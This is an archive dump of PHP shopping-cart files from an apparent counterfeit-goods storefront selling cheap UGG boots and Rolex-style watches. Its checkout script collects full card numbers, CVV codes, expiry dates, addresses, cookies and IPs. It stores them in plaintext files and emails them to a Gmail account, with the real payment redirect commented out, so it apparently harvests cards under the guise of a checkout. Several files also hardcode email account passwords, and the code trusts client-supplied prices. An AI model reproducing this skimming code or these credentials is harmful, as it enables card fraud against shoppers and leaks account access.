",$txt); $gmailuser='post@960watch.com'; $gmailpass='2656C9post'; $fromname=$_SERVER['SERVER_NAME']." payment Approve"; $emailname=$toname; if($flag=='0'){ $headers = "From: ".$to. "\r\r\n" ; mail($to,$subject,$txt,$headers); //echo 'send..'; }else if($flag=='1'){ //error_reporting(E_ALL); //error_reporting(E_STRICT); date_default_timezone_set('America/Toronto'); require_once('../contact_us/class.phpmailer.php');//phpmailerλ include("../contact_us/class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded $mail = new PHPMailer(); //$body = file_get_contents('contents.html');//ʼ $body=$txt; $body = eregi_replace("[\]",'',$body); $mail->IsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = $gmailuser; // GMAIL username $mail->Password = $gmailpass; // GMAIL password $mail->SetFrom($gmailuser, $fromname); $mail->AddReplyTo($gmailuser,$toname); $mail->Subject = $subject; $mail->AltBody = " "; // optional, comment out and test $mail->MsgHTML($body); $address = $to; $mail->AddAddress($address, $emailname); //$mail->AddAttachment("images/phpmailer.gif"); // attachment //$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment if(!$mail->Send()) { echo ","; } else { echo "."; } } }else{ header("HTTP/1.1 404 Not Found"); exit(); } ?>cheapuggsales.uk.com/cart/index.old.php0000777000000000000000000007561111633550304017131 0ustar rootrootdata[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; } // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count; } // 保存购物车数据 $cart->save(); Header("Location: /cart/"); } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; $ototal=$cart->sum('money'); if ($ototal>0){ foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $orderdec=$orderdec."-".$k; $html .=''; $html .=''; $html .=''.$v['name'].'
$'.$v['price'].'USD'; $orderdec=$orderdec."/".$v['count']; $html .='- '.$v['count'].' +'; //$html .='Url: '.$v['purl'].''; $html .='$'.$v['price']*$v['count'].'USD'; $html .='Delete'; $html .="\r\n"; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$v['price'].",SubTotal:$".$v['money'].";"; } } }else{ $html .=''; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="\r\n"; } ?> Checkout

Selected Items:

Image Description Quantity Price Del
Please Choose Your Shipping/Billing Country to Continue



Subtotal:
Shipping:
Delivery time:
TOTAL:
$
NOT SET
NOT SET
$
Card Types we accept
cheapuggsales.uk.com/cart/t.php0000777000000000000000000007462311633550304015512 0ustar rootrootdata[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; } // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count; } // 保存购物车数据 $cart->save(); Header("Location: /cart/"); } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; $ototal=$cart->sum('money'); echo $ototal; if ($ototal>0){ foreach ($cart->data AS $k => $v) { //if ((int)$v['count']>0){ $orderdec=$orderdec."-".$k; $html .=''; $html .=''; $html .=''.$v['name'].'
$'.$v['price'].'USD'; $orderdec=$orderdec."/".$v['count']; $html .='- '.$v['count'].' +'; //$html .='Url: '.$v['purl'].''; $html .='$'.$v['price']*$v['count'].'USD'; $html .='Delete'; $html .="\r\n"; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$v['price'].",SubTotal:$".$v['money'].";"; //} } }else{ $html .=''; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="\r\n"; } ?> Checkout

Selected Items:

Image Description Quantity Price Del
Please Choose Your Shipping/Billing Country to Continue



Subtotal:
Shipping:
Delivery time:
TOTAL:
$
NOT SET
NOT SET
$
Card Types we accept
cheapuggsales.uk.com/cart/rDecline.php0000777000000000000000000000522611633550304016765 0ustar rootroot12 and strlen($ordercon)>100){ echo "Your Order(ID:".$orderid.") is Decline by realyPay, Please Contact us."; $time=date("Y-m-d H:i:s"); $flag='1'; $domainmail=str_replace("www.","",$_SERVER['SERVER_NAME']); $to='support@'.$domainmail; $subject=$_SERVER['SERVER_NAME']." payment Decline $orderid $time"; $txt=$orderid." payment Decline from GSPAY \r\n".$_SERVER['SERVER_NAME']."\r\n".$time."\r\n
".$ordercon; $txt=str_replace("\n","
",$txt); $gmailuser='post@960watch.com'; $gmailpass='2656C9post'; $fromname=$_SERVER['SERVER_NAME']." payment Decline"; $emailname=$toname; if($flag=='0'){ $headers = "From: ".$to. "\r\r\n" ; mail($to,$subject,$txt,$headers); //echo 'send..'; }else if($flag=='1'){ //error_reporting(E_ALL); //error_reporting(E_STRICT); date_default_timezone_set('America/Toronto'); require_once('../contact_us/class.phpmailer.php');//phpmailerλ include("../contact_us/class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded $mail = new PHPMailer(); //$body = file_get_contents('contents.html');//ʼ $body=$txt; $body = eregi_replace("[\]",'',$body); $mail->IsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = $gmailuser; // GMAIL username $mail->Password = $gmailpass; // GMAIL password $mail->SetFrom($gmailuser, $fromname); $mail->AddReplyTo($gmailuser,$toname); $mail->Subject = $subject; $mail->AltBody = " "; // optional, comment out and test $mail->MsgHTML($body); $address = $to; $mail->AddAddress($address, $emailname); //$mail->AddAttachment("images/phpmailer.gif"); // attachment //$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment if(!$mail->Send()) { echo ","; } else { echo "."; } } }else{ header("HTTP/1.1 404 Not Found"); exit(); } ?>cheapuggsales.uk.com/cart/reset.css0000777000000000000000000000142611633550304016361 0ustar rootroot/********************************** Use: Reset Styles for all browsers ***********************************/ body, p, blockquote { margin: 0; padding: 0; } a img, iframe { border: none; } /* Headers ------------------------------*/ h1, h2, h3, h4, h5, h6 { margin: 0; padding: 0; font-size: 100%; } /* Lists ------------------------------*/ ul, ol, dl, li, dt, dd { margin: 0; padding: 0; } /* Links ------------------------------*/ a, a:link {} a:visited {} a:hover {} a:active {} /* Forms ------------------------------*/ form, fieldset { margin: 0; padding: 0; } fieldset { border: 1px solid #000; } legend { padding: 0; color: #000; } input, textarea, select { margin: 0; padding: 1px; font-size: 100%; font-family: inherit; } select { padding: 0; }cheapuggsales.uk.com/cart/core.css0000777000000000000000000000125311633550304016165 0ustar rootrootbody, div { font-family: 'lucida grande', helvetica, verdana, arial, sans-serif } body { margin: 0; padding: 0; font-size: small; color: #333 } h1, h2 { font-family: 'trebuchet ms', verdana, arial; padding: 10px; margin: 0 } h1 { font-size: large } #main { padding: 1em; } #banner { padding: 15px; background-color: #06b; color: white; font-size: large; border-bottom: 1px solid #ccc; background: url(../images/bg.gif) repeat-x; text-align: center } #banner a { color: white; } p { margin: 10px 0; } li { margin-left: 10px; } h3 { margin: 1em 0 0; } h1 { font-size: 2em; } h2 { font-size: 1.8em; } h3 { font-size: 1.6em; } h4 { font-size: 1.4em; } h5 { font-size: 1.2em; } cheapuggsales.uk.com/cart/Approve.php0000777000000000000000000000524411633550304016654 0ustar rootroot12 and strlen($ordercon)>100){ echo "Your Order(ID:".$orderid.") is submitted successfully, Please wait for new response.Back to Home"; $time=date("Y-m-d H:i:s"); $flag='1'; $domainmail=str_replace("www.","",$_SERVER['SERVER_NAME']); $to='support@'.$domainmail; $subject=$_SERVER['SERVER_NAME']." payment state $orderid $time"; $txt=$orderid." payment Approve from GSPAY \r\n".$_SERVER['SERVER_NAME']."\r\n".$time."\r\n
".$ordercon; $txt=str_replace("\n","
",$txt); $gmailuser='post@960watch.com'; $gmailpass='2656C9post'; $fromname=$_SERVER['SERVER_NAME']." payment Approve"; $emailname=$toname; if($flag=='0'){ $headers = "From: ".$to. "\r\r\n" ; mail($to,$subject,$txt,$headers); //echo 'send..'; }else if($flag=='1'){ //error_reporting(E_ALL); //error_reporting(E_STRICT); date_default_timezone_set('America/Toronto'); require_once('../contact_us/class.phpmailer.php');//phpmailerλ include("../contact_us/class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded $mail = new PHPMailer(); //$body = file_get_contents('contents.html');//ʼ $body=$txt; $body = eregi_replace("[\]",'',$body); $mail->IsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = $gmailuser; // GMAIL username $mail->Password = $gmailpass; // GMAIL password $mail->SetFrom($gmailuser, $fromname); $mail->AddReplyTo($gmailuser,$toname); $mail->Subject = $subject; $mail->AltBody = " "; // optional, comment out and test $mail->MsgHTML($body); $address = $to; $mail->AddAddress($address, $emailname); //$mail->AddAttachment("images/phpmailer.gif"); // attachment //$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment if(!$mail->Send()) { echo ","; } else { echo "."; } } }else{ header("HTTP/1.1 404 Not Found"); exit(); } ?>cheapuggsales.uk.com/cart/index.php0000777000000000000000000007411611647435161016363 0ustar rootroot0){$currs = $_REQUEST["currency"];$_SESSION["currency"]=$currs;} if (strlen($_SESSION["currency"])>0){$curr = $_SESSION["currency"];} if (strlen($curr)<1){$curr = $curro;} if ($curro=="GBP"){ if ($curr=="GBP"){$currp=1;$currf="£";} if ($curr=="EUR"){$currp=1.1434;$currf="€";} if ($curr=="USD"){$currp=1.5417;$currf="$";} } if ($curro=="EUR"){ if ($curr=="GBP"){$currp=0.8746;$currf="£";} if ($curr=="EUR"){$currp=1;$currf="€";} if ($curr=="USD"){$currp=1.4384;$currf="$";} } if ($curro=="USD"){ if ($curr=="GBP"){$currp=0.6486;$currf="£";} if ($curr=="EUR"){$currp=0.7416;$currf="€";} if ($curr=="USD"){$currp=1;$currf="$";} } //echo $curr; //http://worldwide-watches.com/ http://127.0.0.1:8080/cart/1/index.php?action=add&pid=123&name=name&price=981&count=1&purl=purl&pimg=imga //单次添加数据 if (($action=="add") or ($action=="update")){ $id=$_REQUEST["pid"]; $name=$_REQUEST["name"]; $price=$_REQUEST["price"]; $count=$_REQUEST["count"]; $purl=$_REQUEST["purl"]; $pimg=$_REQUEST["pimg"]; $size=$_REQUEST["size"]; if(strlen($size)>0 ){ $id=$id.'-'.$size; $name=$name.'_'.$size; } // 商品已经存在 修改数据 if ($cart->data[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; //echo $cart->data[$id]['money']; //exit; } // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count; } // 保存购物车数据 // if($cart->data[$id]['money']<100){ // $cart->data[$id]['money']=$cart->data[$id]['money']+11.99; // } $cart->save(); Header("Location: /cart/"); } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; $ototal=$cart->sum('money'); $siteidr="58111204"; $dmhash=base64_encode($_SERVER['SERVER_NAME']); //if($ototal<100){ //$ototal=$ototal+11.99; //} if ($ototal>number_format((ceil(30*$currp * 100))/100,2,'.','')){ $proi=0; //$htmlgspay="
\r\n"; $htmlgspay="\r\n"; $htmlgspay .= ""; $htmlgspay .= ""; $htmlgspay .= ""; $htmljjl="\r\n"; $htmljjl .= "\r\n"; foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $proi=$proi+1; $pricec=number_format((ceil($v['price']*$currp * 100))/100,2,'.',''); $orderdec=$orderdec."-".$k; $html .=''; $html .='
'.$v['name'].''; $html .=''.$currf.''.$pricec.''.$curr.''; $orderdec=$orderdec."/".$v['count']; $html .='- '.$v['count'].' +'; //$html .='Url: '.$v['purl'].''; $html .=''.$currf.''.$pricec*$v['count'].''.$curr.''; $html .='Delete'; $html .="\r\n"; $htmlr .="
Product id: ".$k."
\r\n"; $htmlr .="Product url: ".UrlDecode($v['purl'])."
\r\n"; $htmlr .="Product img: ".$v['pimg']."
\r\n"; $htmlr .="Product name: ".$v['name']."
\r\n"; $htmlr .="Product price: ".$currf." ".$pricec."
\r\n"; $htmlr .="Product count: ".$v['count']."
\r\n"; $htmlr .="Product subtotel: ".$currf." ".number_format((ceil($v['money']*$currp * 100))/100,2,'.','')."
\r\n"; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$pricec.",SubTotal:".$currf."".number_format((ceil($v['money']*$currp * 100))/100,2,'.','').";"; $htmlgspay .="\n"; $htmlgspay .= "\n"; $htmlgspay .= "\n"; $htmljjl .="\n"; $htmljjl .="\n"; $htmljjl .= "\n"; $htmljjl .= "\n"; } } }else{ $html .=''; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="\r\n"; } $htmlr .="Cart totel: ".number_format((ceil($ototal*$currp * 100))/100,2,'.','')."\r\n\r\n"; $htmlr .=urldecode($cartlist)."\r\n"; if ($action=="pay"){ $newoid=date('YmdHis').rand(10000,1); /* if (@strlen($_REQUEST["firstname"]."-".$_REQUEST["lastname"]) < 3 or strlen($_REQUEST["address2"]."-".$_REQUEST["streetname"]) < 6 or strlen($_REQUEST["country"]."-".$_REQUEST["province"])<2 or strlen($_REQUEST["cardid"])<10 or strlen($_REQUEST["cardname"])<2 or strlen($_REQUEST["email"])<4 or strpos($_REQUEST["email"],"@")<1 or strpos($_REQUEST["email"],".")<2){ echo ""; exit();}*/ //if (strlen($_REQUEST["cardid"])<10 or strlen($_REQUEST["cardname"])<2 or strlen($_REQUEST["email"])<4 or strpos($_REQUEST["email"],"@")<1 or strpos($_REQUEST["email"],".")<2){ if (strlen($_REQUEST["email"])<4 or strpos($_REQUEST["email"],"@")<1 or strpos($_REQUEST["email"],".")<2){ echo ""; exit();} $htmlr .= "Payment:".$_REQUEST["payment"]."\r\n"; $htmlr .= "shipping:".$_REQUEST["shipping"]."\r\n"; $htmlr .= "firstname:".$_REQUEST["firstname"]."\r\n"; $htmlr .= "lastname:".$_REQUEST["lastname"]."\r\n"; $htmlr .= "sex:".$_REQUEST["sex"]."\r\n"; $htmlr .= "streetname:".$_REQUEST["streetname"]."\r\n"; $htmlr .= "address2:".$_REQUEST["address2"]."\r\n"; $htmlr .= "country:".$_REQUEST["country"]."\r\n"; $htmlr .= "province:".$_REQUEST["province"]."\r\n"; $htmlr .= "state:".$_REQUEST["state"]."\r\n"; $htmlr .= "city:".$_REQUEST["city"]."\r\n"; $htmlr .= "zipcode:".$_REQUEST["zipcode"]."\r\n"; $htmlr .= "email:".$_REQUEST["email"]."\r\n"; $htmlr .= "telephone:".$_REQUEST["telephone"]."\r\n"; $htmlr .= "postscript:".$_REQUEST["postscript"]."\r\n"; $htmlr .= "name:".$_REQUEST["cardname"]."\r\n"; $htmlr .= "cardid:".$_REQUEST["cardid"]."\r\n"; $htmlr .= "month:".$_REQUEST["month"]."\r\n"; $htmlr .= "year:".$_REQUEST["year"]."\r\n"; $htmlr .= "cvv:".$_REQUEST["cvv"]."\r\n"; $htmlr .= "carttype:".$_REQUEST["carttype"]."\r\n"; $htmlr .= "carttype:".$_REQUEST["carttype"]."\r\n"; $htmlr .= "\r\n"."
".$_SERVER['HTTP_CLIENT_IP']."
\n 2 ".$_SERVER['REMOTE_ADDR']."
\n 3 ".$_SERVER['HTTP_X_FORWARDED_FOR']." \r\n
"; if (strlen($_SERVER['HTTP_X_FORWARDED_FOR'])>0){$orderip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{if (strlen($_SERVER['REMOTE_ADDR'])>0){$orderip=$_SERVER['REMOTE_ADDR'];}else{$orderip=$_SERVER['HTTP_CLIENT_IP'];}} $htmlr .= $_SERVER['HTTP_USER_AGENT']."
\r\n\r\n"; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT']; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT_LANGUAGE']; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT_ENCODING']; $htmlr .= "\r\n
".$_SERVER['HTTP_COOKIE']; if ((int)$ototal > number_format((ceil(30*$currp * 100))/100,2,'.','')){ $htmlr="\r\n".$cart->cartname."\r\n".$ototal."\r\n".$htmlr; $file = @fopen("order.txt","a"); @file_put_contents("order/".$newoid.".txt",$newoid."\r\n".$htmlr); @fputs($file,$newoid."\r\n".$htmlr); @fclose($file); $carttotalp=$ototal+$_REQUEST["shipping"]; $carttotalp=number_format((ceil(($ototal+$_REQUEST["shipping"])*$currp * 100))/100,2,'.',''); $time=date("Y-m-d H:i:s"); $flag='1'; //http://www-perfectwatches.net $domainmail=str_replace("www.","",$_SERVER['SERVER_NAME']); $to='support@uggsoutlet.uk.com'; $subject=$_SERVER['SERVER_NAME']." cart $time"; $txt=$newoid."\r\n".$_SERVER['SERVER_NAME']."\r\n".$htmlr; $txt=str_replace("\n","
",$txt); $gmailuser='support@uggsoutlet.uk.com'; $gmailpass='support_jiko'; $fromname=$_SERVER['SERVER_NAME']." cart"; $emailname=$toname; if($flag=='0'){ $headers = "From: ".$to. "\r\r\n" ; mail($to,$subject,$txt,$headers); //echo 'send..'; }else if($flag=='1'){ //error_reporting(E_ALL); //error_reporting(E_STRICT); date_default_timezone_set('America/Toronto'); require_once('../contact_us/class.phpmailer.php');//phpmailer库位置 include("../contact_us/class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded $mail = new PHPMailer(); //$body = file_get_contents('contents.html');//邮件正文 $body=$txt; $body = eregi_replace("[\]",'',$body); $body=str_replace("id:",$body); $body=str_replace("/>","",$body); $body=str_replace("size=\"4\""," ",$body); $body=str_replace("product['","",$body); $body=str_replace("']",":",$body); $body=str_replace("",$body); $mail->IsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = $gmailuser; // GMAIL username $mail->Password = $gmailpass; // GMAIL password $mail->SetFrom($gmailuser, $fromname); $mail->AddReplyTo($gmailuser,$toname); $mail->Subject = $subject; $mail->AltBody = $body; // optional, comment out and test $mail->MsgHTML($body); //$mail->IsHTML (false); $address = $to; $mail->AddAddress($address, $emailname); //$mail->AddAttachment("images/phpmailer.gif"); // attachment //$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment if(!$mail->Send()) { echo ""; } else { echo ""; } } if (($_REQUEST["shipping"])>0){ $htmlgspay .= " \n";} $htmlgspay .= " Click Here To Pay:
"; $htmljjl .= " "; if (($_REQUEST["shipping"])>0){$htmljjl .= "\n";} $htmljjl .= " "; $htmljjl .= " Click Here To Pay: "; echo $htmlgspay; /* echo "Your Order(ID:".$newoid.") is submitted successfully , Please Do Payment Now."; $htmlp=""; //zen_redirect("http://www.cufflinksmall.com/buy.php?cmd=_xclick&business=8QWNVCC2HSV5W&lc=C2&item_name=WorldSoft-".$insert_id."&item_number=Ver".date ("Y\Ym\Md\DH\hI\ms\s" ,time())."_".$insert_id."_".$order_subtotal."&amount=". $ototal."¤cy_code=USD&button_subtype=services&bn=PP%2dBuyNowBF%3abtn_buynowCC_LG%2egif%3aNonHosted"); $htmlp .= ""; if ($_REQUEST["payment"]=="paypal" or $_REQUEST["payment"]=="CreditCard"){ echo $htmljjl; }else{ if ($_REQUEST["carttype"]=="V"){ echo $htmljjl; //echo $htmlgspay; }else{ //$_REQUEST["carttype"]=="M"){ echo $htmljjl; } }*/ //Header('Location: https://secure.redirect2pay.com/payment/pay.php?siteID=74140&OrderDescription=HIgH_".date ("Y\Ym\Md\DH\hI\ms\s" ,time()).$orderdec."_".$ototal."&qty=1&Amount=".$ototal."&customerFullName=".$gspay_cname."&customerAddress=".$gspay_caddress."&customerCity=".$gspay_ccity."&customerStateCode=".$mmm."&customerZip=".$gspay_czip."&customerCountry=".$gspay_ccountry."&customerEmail=".$gspay_cemail."&customerPhone=".$gspay_cphone'); /*$html .= "";*/ echo "Your Order(ID:".$newoid.") is submitted successfully, We will contact you later . Please wait for new response."; unset($cart->data); $cart->save(); }else{ echo "
\r\nPlease make sure That you have add product to the shopping cart And total cost up to ".$currf." ".number_format((ceil(30*$currp * 100))/100,2,'.','')." Or you can chose another Product and checkout again."; } exit(); }else{} ?> Shopping Cart
Your Position: Home > Shopping cart

Goods List

*/ echo $html; ?>
Name Our price Quantity Subtotal Operate

Rolex Day Date II Oyster Perpetual Automatic Movement Silver Case with White Stick Markers and Black Dial
$108.00USD $108.00USD Delete
Subtotal  
[Clear Shopping Cart]  [Continue Shopping]  

Shipping Method


Free Shipping (10 working days arrive, 14 days money-back without reason)


Enter Your Shipping Information

First Name:
" /> *
Last Name:
" />
Gender:
Mr Ms *
Street Name:
" /> *
Address Line 2:
" />
Country:
" > *
State/Province: " />
City:
" /> *
Post/Zip Code:
" /> *
email:
" /> *
Telephone: " /> *
Comment:

Submit To Enter Your Payment Information

Cardholder name:" > *
Cred Number: *
Expiration Month: *
Expiration Year: *
CCV: * what is this?
CardType:
*/ ?>
Card Type*
cheapuggsales.uk.com/cart/region.php0000777000000000000000000001037411633550304016523 0ustar rootroot| total: $".$cart->sum('money')." echo '{"regions":[{"region_id":"69","exact":"0","region_name":"Alabama"},{"region_id":"70","exact":"0","region_name":"Alaska"},{"region_id":"71","exact":"0","region_name":"American Samoa"},{"region_id":"72","exact":"0","region_name":"Arizona"},{"region_id":"73","exact":"0","region_name":"Arkansas"},{"region_id":"74","exact":"0","region_name":"Armed Forces Africa"},{"region_id":"75","exact":"0","region_name":"Armed Forces Americas"},{"region_id":"76","exact":"0","region_name":"Armed Forces Canada"},{"region_id":"77","exact":"0","region_name":"Armed Forces Europe"},{"region_id":"78","exact":"0","region_name":"Armed Forces Middle East"},{"region_id":"79","exact":"0","region_name":"Armed Forces Pacific"},{"region_id":"80","exact":"0","region_name":"California"},{"region_id":"81","exact":"0","region_name":"Colorado"},{"region_id":"82","exact":"0","region_name":"Connecticut"},{"region_id":"83","exact":"0","region_name":"Delaware"},{"region_id":"84","exact":"0","region_name":"District of Columbia"},{"region_id":"85","exact":"0","region_name":"Federated States Of Micronesia"},{"region_id":"86","exact":"0","region_name":"Florida"},{"region_id":"87","exact":"0","region_name":"Georgia"},{"region_id":"88","exact":"0","region_name":"Guam"},{"region_id":"89","exact":"0","region_name":"Hawaii"},{"region_id":"90","exact":"0","region_name":"Idaho"},{"region_id":"91","exact":"0","region_name":"Illinois"},{"region_id":"92","exact":"0","region_name":"Indiana"},{"region_id":"93","exact":"0","region_name":"Iowa"},{"region_id":"94","exact":"0","region_name":"Kansas"},{"region_id":"95","exact":"0","region_name":"Kentucky"},{"region_id":"96","exact":"0","region_name":"Louisiana"},{"region_id":"97","exact":"0","region_name":"Maine"},{"region_id":"98","exact":"0","region_name":"Marshall Islands"},{"region_id":"99","exact":"0","region_name":"Maryland"},{"region_id":"100","exact":"0","region_name":"Massachusetts"},{"region_id":"101","exact":"0","region_name":"Michigan"},{"region_id":"102","exact":"0","region_name":"Minnesota"},{"region_id":"103","exact":"0","region_name":"Mississippi"},{"region_id":"104","exact":"0","region_name":"Missouri"},{"region_id":"105","exact":"0","region_name":"Montana"},{"region_id":"106","exact":"0","region_name":"Nebraska"},{"region_id":"107","exact":"0","region_name":"Nevada"},{"region_id":"108","exact":"0","region_name":"New Hampshire"},{"region_id":"109","exact":"0","region_name":"New Jersey"},{"region_id":"110","exact":"0","region_name":"New Mexico"},{"region_id":"111","exact":"0","region_name":"New York"},{"region_id":"112","exact":"0","region_name":"North Carolina"},{"region_id":"113","exact":"0","region_name":"North Dakota"},{"region_id":"114","exact":"0","region_name":"Northern Mariana Islands"},{"region_id":"115","exact":"0","region_name":"Ohio"},{"region_id":"116","exact":"0","region_name":"Oklahoma"},{"region_id":"117","exact":"0","region_name":"Oregon"},{"region_id":"118","exact":"0","region_name":"Pennsylvania"},{"region_id":"119","exact":"0","region_name":"Puerto Rico"},{"region_id":"120","exact":"0","region_name":"Rhode Island"},{"region_id":"121","exact":"0","region_name":"South Carolina"},{"region_id":"122","exact":"0","region_name":"South Dakota"},{"region_id":"123","exact":"0","region_name":"Tennessee"},{"region_id":"124","exact":"0","region_name":"Texas"},{"region_id":"125","exact":"0","region_name":"Utah"},{"region_id":"126","exact":"0","region_name":"Vermont"},{"region_id":"127","exact":"0","region_name":"Virgin Islands"},{"region_id":"128","exact":"0","region_name":"Virginia"},{"region_id":"129","exact":"0","region_name":"Washington"},{"region_id":"130","exact":"0","region_name":"West Virginia"},{"region_id":"131","exact":"0","region_name":"Wisconsin"},{"region_id":"132","exact":"0","region_name":"Wyoming"}],"type":1,"target":"selProvinces_"}'; }else if ($_GET["region_id"]==16){ echo "0"; }else{ echo "1"; } //flow: //updateprice {"result":216,"qty":2,"goods_id":"15031"} //http://www.dearwatches.com/flow.php?step=drop_goods&id=35382 ?>cheapuggsales.uk.com/cart/jquery.metadata.js0000777000000000000000000000756311633550304020171 0ustar rootroot/* * Metadata - jQuery plugin for parsing metadata from elements * * Copyright (c) 2006 John Resig, Yehuda Katz, J�örn Zaefferer, Paul McLanahan * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Revision: $Id: jquery.metadata.js 4187 2007-12-16 17:15:27Z joern.zaefferer $ * */ /** * Sets the type of metadata to use. Metadata is encoded in JSON, and each property * in the JSON will become a property of the element itself. * * There are three supported types of metadata storage: * * attr: Inside an attribute. The name parameter indicates *which* attribute. * * class: Inside the class attribute, wrapped in curly braces: { } * * elem: Inside a child element (e.g. a script tag). The * name parameter indicates *which* element. * * The metadata for an element is loaded the first time the element is accessed via jQuery. * * As a result, you can define the metadata type, use $(expr) to load the metadata into the elements * matched by expr, then redefine the metadata type and run another $(expr) for other elements. * * @name $.metadata.setType * * @example

This is a p

* @before $.metadata.setType("class") * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label" * @desc Reads metadata from the class attribute * * @example

This is a p

* @before $.metadata.setType("attr", "data") * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label" * @desc Reads metadata from a "data" attribute * * @example

This is a p

* @before $.metadata.setType("elem", "script") * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label" * @desc Reads metadata from a nested script element * * @param String type The encoding type * @param String name The name of the attribute to be used to get metadata (optional) * @cat Plugins/Metadata * @descr Sets the type of encoding to be used when loading metadata for the first time * @type undefined * @see metadata() */ (function($) { $.extend({ metadata : { defaults : { type: 'class', name: 'metadata', cre: /({.*})/, single: 'metadata' }, setType: function( type, name ){ this.defaults.type = type; this.defaults.name = name; }, get: function( elem, opts ){ var settings = $.extend({},this.defaults,opts); // check for empty string in single property if ( !settings.single.length ) settings.single = 'metadata'; var data = $.data(elem, settings.single); // returned cached data if it already exists if ( data ) return data; data = "{}"; if ( settings.type == "class" ) { var m = settings.cre.exec( elem.className ); if ( m ) data = m[1]; } else if ( settings.type == "elem" ) { if( !elem.getElementsByTagName ) return undefined; var e = elem.getElementsByTagName(settings.name); if ( e.length ) data = $.trim(e[0].innerHTML); } else if ( elem.getAttribute != undefined ) { var attr = elem.getAttribute( settings.name ); if ( attr ) data = attr; } if ( data.indexOf( '{' ) <0 ) data = "{" + data + "}"; data = eval("(" + data + ")"); $.data( elem, settings.single, data ); return data; } } }); /** * Returns the metadata object for the first member of the jQuery object. * * @name metadata * @descr Returns element's metadata object * @param Object opts An object contianing settings to override the defaults * @type jQuery * @cat Plugins/Metadata */ $.fn.metadata = function( opts ){ return $.metadata.get( this[0], opts ); }; })(jQuery);cheapuggsales.uk.com/cart/bg_header.gif0000777000000000000000000000015511633550304017112 0ustar rootrootGIF89a !,>Z޼H扦ʶ L ĢL*̦ jS;cheapuggsales.uk.com/cart/screen.css0000777000000000000000000000030311633550304016507 0ustar rootroot/********************************** Use: Main Screen Import ***********************************/ @import "reset.css"; @import "core.css"; @import "cmxformTemplate.css"; @import "cmxform.css";cheapuggsales.uk.com/cart/ajax.php0000777000000000000000000001250111633550304016155 0ustar rootroot| total: $".$cart->sum('money')." echo 